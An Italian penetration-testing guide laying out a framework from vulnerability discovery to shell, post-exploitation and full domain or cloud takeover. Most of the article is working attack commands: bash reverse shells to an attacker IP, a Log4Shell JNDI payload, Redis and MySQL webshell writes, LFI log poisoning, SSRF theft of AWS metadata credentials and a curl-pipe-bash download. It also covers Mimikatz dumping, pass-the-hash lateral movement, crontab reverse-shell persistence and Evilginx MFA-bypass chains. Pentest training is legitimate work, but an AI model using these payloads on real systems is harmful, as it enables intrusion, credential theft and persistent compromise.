Vulnerability Exploitation: il framework pratico per passare da CVE a shell

Scopri il metodo giusto per trasformare una vulnerabilità in accesso reale: discovery, validation, prioritization, exploit selection, weaponization, execution e post-exploitation nel penetration testing.
- Pubblicato il 2026-04-01
- Tempo di lettura: 8 min
Executive Summary — Il vulnerability exploitation è il cuore del penetration testing: il momento in cui una vulnerabilità teorica diventa accesso reale. Ma tra “ho trovato una CVE” e “ho una shell” c’è un processo strutturato: identificazione, validazione, prioritizzazione, weaponization, esecuzione e post-exploitation. Questo articolo è il framework che collega tutte le tecniche — dalla scansione alla compromissione. Non è un elenco di exploit: è la metodologia per scegliere, adattare e sfruttare la vulnerabilità giusta nel contesto giusto.
> **TL;DR**
>
> - L'exploitation segue un processo: Discover → Validate → Prioritize → Weaponize → Execute → Post-Exploit
> - Non ogni vulnerabilità va sfruttata — prioritizza per impatto, affidabilità e stealth
> - L'exploit "out of the box" funziona nel 40% dei casi — il restante 60% richiede adattamentoPerché Serve un Framework #
Un pentester junior trova una CVE e lancia l’exploit. Un pentester senior valuta 10 vulnerabilità, ne seleziona 2 in base al contesto, adatta l’exploit al target specifico ed entra senza crashare nulla. La differenza è il framework decisionale.
L’exploitation non è “lancia Metasploit e spera”. È un processo analitico:
1. DISCOVER — Trova tutte le vulnerabilità (scanning + manual)
2. VALIDATE — Conferma che la vulnerabilità esiste realmente
3. PRIORITIZE — Scegli quale sfruttare (impatto × probabilità × stealth)
4. WEAPONIZE — Trova/adatta l'exploit
5. EXECUTE — Sfrutta la vulnerabilità
6. POST-EXPLOIT — Consolida l'accesso, escala, muoviti lateralmente1. Discover — Trovare le Vulnerabilità #
Scanning automatizzato #
Lo scanning è il punto di partenza — ma non il punto di arrivo. Gli scanner trovano le vulnerabilità note (CVE), non le misconfiguration custom.
Network scanning:
nmap -sV -sC --script vuln -p- 10.10.10.40 -oA vuln_scanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache httpd 2.4.49
443/tcp open ssl/http Apache httpd 2.4.49
| http-vuln-cve2021-41773:
| VULNERABLE:
| Path Traversal + RCE in Apache 2.4.49
| CVE: CVE-2021-41773
| Risk: HIGHPer la guida completa a nmap e ai suoi script NSE.
Vulnerability scanner dedicati:
# Nuclei (template-based, veloce)
nuclei -u http://10.10.10.40 -t cves/ -severity critical,high[CVE-2021-41773] [http] [critical] http://10.10.10.40
[CVE-2021-44228] [http] [critical] http://10.10.10.40:8080Web application scanning:
nikto -h http://10.10.10.40# SQLMap per SQL injection
sqlmap -u "http://10.10.10.40/page?id=1" --batch --level=3 --risk=3Per il testing SQL injection completo.
Discovery manuale #
Gli scanner non trovano tutto. La discovery manuale trova:
- Misconfiguration custom (servizi senza auth, default credentials)
- Business logic flaws (autenticazione bypassabile, IDOR)
- Chained vulnerabilities (XSS + CSRF = account takeover)
- Informazioni esposte (directory listing, .git, .env, backup)
gobuster dir -u http://10.10.10.40 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,bak,old,envgobuster vhost -u http://corp.local -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txtLa Google Hacking Database su Exploit-DB ha centinaia di dork per trovare file esposti, backup e pannelli admin indicizzati.
Classificazione delle vulnerabilità trovate #
| Tipo | Esempio | Impatto |
|---|---|---|
| RCE (Remote Code Execution) | CVE-2021-41773, Log4Shell | Critico — shell remota |
| Auth Bypass | Default credentials, SQLi auth bypass | Alto — accesso non autorizzato |
| File Read (LFI/Path Traversal) | LFI → /etc/shadow, config files | Alto — credenziali |
| SQL Injection | SQLi → dump database | Alto — dati sensibili, potenziale RCE |
| SSRF | SSRF → cloud metadata (IMDS) | Alto — cloud privesc |
| XSS | Stored XSS → cookie theft | Medio — session hijacking |
| Misconfiguration | SMB null session, Redis no auth | Variabile — da info disclosure a RCE |
| DoS | Resource exhaustion | Basso nel pentest — non dà accesso |
2. Validate — Confermare la Vulnerabilità #
Lo scanner dice “vulnerabile” — ma è vero? I false positive sono comuni (20-40% nei scan automatici). Validare prima di sfruttare.
Validazione per tipo #
CVE con version check:
# Lo scanner dice CVE-2021-41773 su Apache 2.4.49
# Verifica manuale della versione:
curl -s http://10.10.10.40/ -I | grep ServerServer: Apache/2.4.49 (Ubuntu)Versione confermata. Ora test non-distruttivo:
curl -s "http://10.10.10.40/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"Se mostra /etc/passwd → vulnerabile confermato.
Differenza tra “versione vulnerabile” e “realmente sfruttabile”:
Versione vulnerabile ≠ sfruttabile
Ragioni per cui un exploit potrebbe fallire anche con la versione "giusta":
- Patch backported senza cambiare il banner di versione
- WAF / mod_security / reverse proxy che filtra il payload
- Architettura diversa (x86 vs ARM)
- Modulo richiesto non abilitato (CGI per CVE-2021-41773)
- Compilazione con hardening (ASLR, PIE, stack canary)
- Configurazione custom che mitiga il path vulnerabileSQL injection validation:
# Test boolean-based
curl "http://10.10.10.40/page?id=1 AND 1=1"Pagina normale.
curl "http://10.10.10.40/page?id=1 AND 1=2"Pagina diversa o errore → SQLi confermata.
SSRF validation:
# Test con server controllato
curl "http://10.10.10.40/fetch?url=http://YOUR_SERVER:8080/ssrf_test"Se ricevi la richiesta HTTP sul tuo server → SSRF confermata.
Default credentials su servizi specifici:
Per il credential testing service-by-service: MySQL (root:vuota), MSSQL (sa:sa), MongoDB (no auth), Redis (no auth), Tomcat (tomcat:s3cret), cPanel (credenziali FTP riusate).
3. Prioritize — Scegliere Cosa Sfruttare #
Non tutte le vulnerabilità vanno sfruttate. In un pentest hai tempo limitato. Scegli con metodo.
Matrice di prioritizzazione #
| Criterio | Peso | Domanda |
|---|---|---|
| Impatto | Alto | Cosa ottengo? RCE > file read > info disclosure |
| Affidabilità | Alto | L’exploit è stabile? Verificato su Exploit-DB? |
| Stealth | Medio | Quanto rumore fa? (critico nel red team) |
| Rischio | Alto | Può crashare il servizio? (produzione = zero tolerance) |
| Effort | Basso | Quanto tempo per weaponizzare? |
Esempio decisionale #
Vulnerabilità trovate su 10.10.10.40:
1. Apache 2.4.49 RCE (CVE-2021-41773) — CVSS 9.8
2. SQL injection nel form di login — non ancora testata a fondo
3. Redis 6.0 senza auth — porta 6379 esposta
4. OpenSSH 8.2 — nessun CVE critico noto
5. Directory listing su /backup/ — file .sql esposti
Prioritizzazione:
├── 1° Redis senza auth → RCE certo, zero rischio, 2 minuti
├── 2° Backup .sql esposti → credenziali probabili, zero rischio, 1 minuto
├── 3° Apache RCE → RCE certo, exploit verificato, 5 minuti
├── 4° SQL injection → impatto incerto, richiede testing
└── 5° OpenSSH → skip, nessun exploitRegola operativa: parti dalle vulnerabilità a basso rischio e alto impatto (misconfig, default credentials, servizi senza auth). Poi passa a exploit RCE verificati. Lascia per ultimi exploit instabili e kernel exploit.
CVSS non è tutto #
Il CVSS score misura la gravità teorica. Nel pentest serve il contesto:
CVE-2021-41773 (CVSS 9.8) su un Apache che serve solo una pagina statica
→ RCE come www-data su un server senza dati sensibili → impatto reale: medio
Redis senza auth (CVSS variabile) su un server con credenziali cloud in env
→ RCE + AWS keys → account cloud completo → impatto reale: critico4. Weaponize — Preparare l’Exploit #
Fonti di exploit ordinate per affidabilità #
| Fonte | Affidabilità | Quando |
|---|---|---|
| Exploit-DB verified | Alta | Prima scelta — exploit testati |
| Metasploit modules | Alta | Exploit + payload + handler integrati |
| GitHub PoC (autori noti) | Media | CVE recenti (<6 mesi) |
| GitHub PoC (autori ignoti) | Bassa | Solo dopo code review approfondita |
| Blog / write-up | Variabile | Per capire il “come”, poi scrivi tu l’exploit |
Workflow di weaponization #
Step 1: Cerca l’exploit
searchsploit apache 2.4.49Apache HTTP Server 2.4.49 - Path Traversal & RCE | exploits/multiple/webapps/50383.py# Se Exploit-DB non ha nulla:
# GitHub → cerca "CVE-XXXX-XXXX PoC"
# Google → "CVE-XXXX-XXXX exploit python"
# Metasploit → search cve:XXXX-XXXXStep 2: Leggi il codice (sempre, senza eccezioni)
searchsploit -x 50383Checklist — dettagliata nella guida Exploit-DB:
□ Linguaggio e dipendenze (Python 2 o 3? Richiede requests, pwntools?)
□ Parametri da configurare (RHOST, RPORT, LHOST, LPORT, path)
□ Tipo di payload (reverse shell? webshell? file read?)
□ Side effects (crash? file scritti? utenti creati? log?)
□ Codice sospetto (callback a IP non tuoi? download di binari?)Step 3: Adatta al target
# Nell'exploit, cerca e modifica:
RHOST = "10.10.10.40" # IP del target
RPORT = 80 # Porta del servizio
LHOST = "10.10.10.200" # Tuo IP
LPORT = 4444 # Porta del tuo listener
PATH = "/cgi-bin/" # Path specifico dell'app (verifica con gobuster)Step 4: Prepara il listener
nc -lvnp 4444# Oppure con rlwrap per history/editing
rlwrap nc -lvnp 4444# Meterpreter per funzionalità avanzate
msfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 10.10.10.200; set LPORT 4444; run"Step 5: Testa in lab se possibile
# Docker per riprodurre il target
docker run -d -p 8080:80 httpd:2.4.49
python3 exploit.py http://127.0.0.1:8080 "id"Se funziona in lab → procedi sul target reale.
Quando l’exploit non funziona “out of the box” #
| Problema | Causa | Fix |
|---|---|---|
Connection refused | Porta/IP errati | Verifica con nmap |
| Exploit silenzioso | Versione diversa, offset sbagliato | Leggi il codice, confronta con la CVE advisory |
ModuleNotFoundError | Dipendenza Python mancante | pip install [modulo] |
400 Bad Request | Path o header non corretti | Intercetta con Burp, confronta con la documentazione CVE |
| Reverse shell non arriva | Firewall outbound | Prova porte 443, 80, 53 (quasi sempre permesse) |
| Exploit per Python 2 | Vecchio codice | 2to3 exploit.py o converti manualmente |
| WAF blocca | Pattern matching | Encoding (URL, base64, double encoding), payload diverso |
Segfault su buffer overflow | Offset errato per il target | Ricalcola con pattern_create / pattern_offset |
5. Execute — Exploitation per Categoria #
5.1 Remote Code Execution (RCE) #
Il tipo più diretto: esegui codice sul target da remoto.
CVE exploit diretto:
python3 50383.py http://10.10.10.40 "id"uid=33(www-data) gid=33(www-data)Funziona. Ora reverse shell:
python3 50383.py http://10.10.10.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'"Log4Shell (CVE-2021-44228):
# Inject nel header
curl -H 'X-Api-Version: ${jndi:ldap://10.10.10.200:1389/exploit}' http://10.10.10.40:8080/Servizi senza autenticazione → RCE:
# Redis senza auth → webshell
redis-cli -h 10.10.10.40
> config set dir /var/www/html
> config set dbfilename shell.php
> set payload "<?php system($_GET['c']); ?>"
> savecurl "http://10.10.10.40/shell.php?c=id"Per l’exploitation dettagliata: Redis.
# Docker API esposta → root diretto
docker -H tcp://10.10.10.40:2375 run -v /:/mnt --rm -it alpine chroot /mnt bashPer il dettaglio completo: porta 2375 Docker.
5.2 SQL Injection → Dati e Shell #
# Dump database
sqlmap -u "http://10.10.10.40/page?id=1" --dbssqlmap -u "http://10.10.10.40/page?id=1" -D webapp -T users --dump+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----+----------+----------------------------------+Hash MD5 → cracka con hashcat (-m 0).
# OS shell se il DB gira con privilegi alti
sqlmap -u "http://10.10.10.40/page?id=1" --os-shell# MySQL manuale → file write → webshell
mysql -h 10.10.10.40 -u root -p''
> SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/cmd.php';Per l’exploitation MySQL completa inclusi UDF e file read con LOAD_FILE().
5.3 File Read / LFI → Credenziali → Accesso #
curl "http://10.10.10.40/page?file=../../../../etc/passwd"curl "http://10.10.10.40/page?file=../../../../etc/shadow"# Credenziali web app
curl "http://10.10.10.40/page?file=../../../../var/www/html/wp-config.php"define('DB_PASSWORD', 'Pr0dP@ss!');Testa la password ovunque: SSH, MySQL, SMB, web login. Il credential reuse è la norma.
LFI → Log Poisoning → RCE:
# Inietta PHP nel User-Agent (finisce nel log Apache)
curl -A "<?php system(\$_GET['c']); ?>" http://10.10.10.40/# Includi il log via LFI → il PHP viene eseguito
curl "http://10.10.10.40/page?file=../../../../var/log/apache2/access.log&c=id"5.4 SSRF → Cloud Metadata → Escalation #
curl "http://10.10.10.40/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"EC2-AdminRolecurl "http://10.10.10.40/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-AdminRole"{
"AccessKeyId": "ASIAIOSFODNN7TEMP",
"SecretAccessKey": "tempSecret...",
"Token": "FwoGZXIvY..."
}Con queste credenziali → AWS privilege escalation. Da una SSRF in una web app arrivi a controllare l’intero account cloud.
5.5 Credential Attack #
# Password spray su SMB
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Corp2026!'# Brute force SSH
hydra -L users.txt -P passwords.txt 10.10.10.40 ssh# Kerberoasting (Active Directory)
GetUserSPNs.py corp.local/j.smith:'Password123!' -dc-ip 10.10.10.10 -request
hashcat -m 13100 tgs_hash.txt wordlist.txtPer il credential dumping con DCSync dopo Domain Admin. Per l’estrazione credenziali da memoria Windows: Mimikatz.
6. Post-Exploitation — Consolidare e Avanzare #
L’exploit ti dà un punto d’appoggio. Il post-exploitation ti dà il dominio.
Stabilizza la shell #
python3 -c 'import pty; pty.spawn("/bin/bash")'# Ctrl+Z poi:
stty raw -echo; fg
export TERM=xtermPer tutti i metodi di shell upgrade: top 100 comandi Linux.
Enumera e escala #
Linux:
curl http://10.10.10.200:8080/linpeas.sh | bashPer la linux enumeration completa e la linux privilege escalation.
Windows:
whoami /all
winPEAS.exeCredential harvesting #
Linux:
cat /etc/shadowgrep -riE "password|secret" /var/www/ /opt/ /home/ 2>/dev/nullenv | grep -i passWindows → Mimikatz:
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /domain:corp.local /user:AdministratorLateral Movement #
crackmapexec smb 10.10.10.0/24 -u admin -H HASH --sharespsexec.py -hashes :HASH corp.local/admin@10.10.10.50evil-winrm -i 10.10.10.50 -u admin -H HASHPersistenza #
# Linux: SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys# Linux: crontab
echo "* * * * * bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'" | crontab -Per i container: container escape se atterri in un Docker/Kubernetes.
7. Kill Chain Complete — Esempi End-to-End #
Chain 1: Web RCE → Privesc → Domain #
Nmap → Apache 2.4.49 (CVE-2021-41773)
→ RCE come www-data
→ LinPEAS → SUID python3 con cap_setuid
→ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
→ root sul web server
→ wp-config.php → credenziali DB
→ MySQL dump → hash WordPress → hashcat → password admin
→ Password reuse su SMB → accesso workstation
→ Mimikatz → hash Domain Admin
→ DCSync → hash krbtgt → Golden Ticket → dominio completoChain 2: Phishing → Cloud Takeover #
Phishing email (GoPhish) → utente clicca
→ Evilginx cattura session cookie (bypass MFA)
→ Accesso Office 365 → OneDrive → file .env con AWS keys
→ enumerate-iam → iam:PassRole + lambda:CreateFunction
→ Lambda con ruolo Admin → AdministratorAccess
→ Account AWS completoPer la campagna phishing e il social engineering.
Chain 3: Misconfig → Internal Network → AD #
Redis esposto (no auth) → webshell → shell come redis
→ sudo -l → (ALL) NOPASSWD: /usr/bin/find
→ sudo find / -exec /bin/bash \; → root
→ /etc/exports: /home *(rw,no_root_squash) → pivot point
→ ARP → 10.10.10.50 (DC)
→ SSH tunnel → crackmapexec → password spray
→ Domain Admin → DCSync → Golden Ticket8. Cheat Sheet Finale #
Workflow #
DISCOVER → nmap, nuclei, nikto, gobuster, burp, manual
VALIDATE → curl, test non-distruttivo, PoC minimo
PRIORITIZE → impatto × affidabilità ÷ rischio
WEAPONIZE → searchsploit, GitHub, Metasploit, adatta parametri
EXECUTE → exploit + listener pronto
POST-EXPLOIT → enumera, escala, credential harvest, lateral, persistQuick Reference per tipo di vulnerabilità #
| Vulnerabilità | Tool primario | Primo comando |
|---|---|---|
| CVE nota | searchsploit | searchsploit [service] [version] |
| SQL injection | sqlmap | sqlmap -u "URL?param=1" --dbs |
| Default creds | hydra | hydra -l admin -p admin target ssh |
| Service no-auth | client nativo | redis-cli, mongo, mysql |
| LFI/Path traversal | curl | curl "URL?file=../../../../etc/passwd" |
| SSRF | curl | curl "URL?url=http://169.254.169.254/" |
| SMB | crackmapexec | cme smb target -u user -p pass |
| Active Directory | impacket | GetUserSPNs.py, secretsdump.py |
| Kernel | les.sh | bash les.sh |
| Web RCE | exploit specifico | python3 exploit.py target cmd |
| Credential dump | mimikatz | sekurlsa::logonpasswords |
Troubleshooting rapido #
| Sintomo | Probabile causa | Azione |
|---|---|---|
| Exploit silenzioso | Versione/config diversa | Verifica banner, leggi codice exploit |
| Reverse shell non arriva | Firewall outbound | Usa porta 443/80/53 |
| Shell muore subito | Processo parent termina | nohup, migra processo |
| WAF blocca payload | Pattern detection | Encoding, obfuscation |
| Credenziali non funzionano | Password diversa per servizio | Testa su TUTTI i servizi |
| Exploit crash | Target diverso da quello testato | Lab test, exploit alternativo |
Riferimento: PTES, OWASP Testing Guide, MITRE ATT&CK, OSCP/OSEP methodology. Uso esclusivo in ambienti autorizzati.





